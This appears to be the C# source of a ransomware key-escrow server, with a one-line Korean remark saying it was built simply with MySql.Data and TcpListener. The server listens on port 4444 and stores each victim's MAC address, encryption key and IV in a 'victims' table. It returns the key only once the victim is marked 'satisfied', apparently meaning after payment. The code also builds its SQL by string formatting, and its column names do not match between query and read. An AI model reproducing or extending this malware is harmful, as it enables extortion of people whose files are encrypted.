using System;
using System.IO;
using System.Timers;
using System.Net;
using System.Net.Sockets;
using Utils;
using MySql.Data.MySqlClient;
namespace gukwon_ransomware_server
{
class Program
{
static void Main()
{
int mode, len;
string macaddr, cmdString;
string strconn = "Server=localhost;Database=gukwon_ransomware;Uid=root;Pwd=test;";
byte[] key, iv;
BinaryReader rdr;
BinaryWriter wtr;
TcpListener listener = new TcpListener(IPAddress.Any, 4444);
TcpClient client;
NetworkStream stream;
MySqlConnection conn;
MySqlCommand cmd;
MySqlDataReader sqlrdr;
listener.Start();
while (true)
{
client = listener.AcceptTcpClient();
conn = new MySqlConnection(strconn);
conn.Open();
stream = client.GetStream();
rdr = new BinaryReader(stream);
mode = rdr.ReadInt32();
macaddr = rdr.ReadString();
if(mode == CONSTANTS.SEND_KEY)
{
len = rdr.ReadInt32();
key = rdr.ReadBytes(len);
len = rdr.ReadInt32();
iv = rdr.ReadBytes(len);
rdr.Close();
cmdString = string.Format("INSERT INTO victims(mac_addr, keystring, ivstring) VALUES(\"{0}\", \"{1}\", \"{2}\");", macaddr, Convert.ToBase64String(key), Convert.ToBase64String(iv));
cmd = new MySqlCommand(cmdString, conn);
cmd.ExecuteNonQuery();
}
else if(mode == CONSTANTS.DECRYPT_REQ)
{
macaddr = rdr.ReadString();
rdr.Close();
cmdString = string.Format("SELECT key, iv FROM victims WHERE mac_addr = \"{0}\" AND satisfied = 1", macaddr);
cmd = new MySqlCommand(cmdString, conn);
sqlrdr = cmd.ExecuteReader();
wtr = new BinaryWriter(stream);
sqlrdr.Read();
if (sqlrdr.HasRows)
{
wtr.Write(CONSTANTS.SUCCESS);
wtr.Write(sqlrdr["keystring"].ToString());
wtr.Write(sqlrdr["ivstring"].ToString());
sqlrdr.Close();
}
else
{
wtr.Write(CONSTANTS.FAIL);
wtr.Close();
}
}
stream.Close();
client.Close();
}
}
}
}
- 간단하게 MySql.Data와 TcpListener를 이용해 만들었다.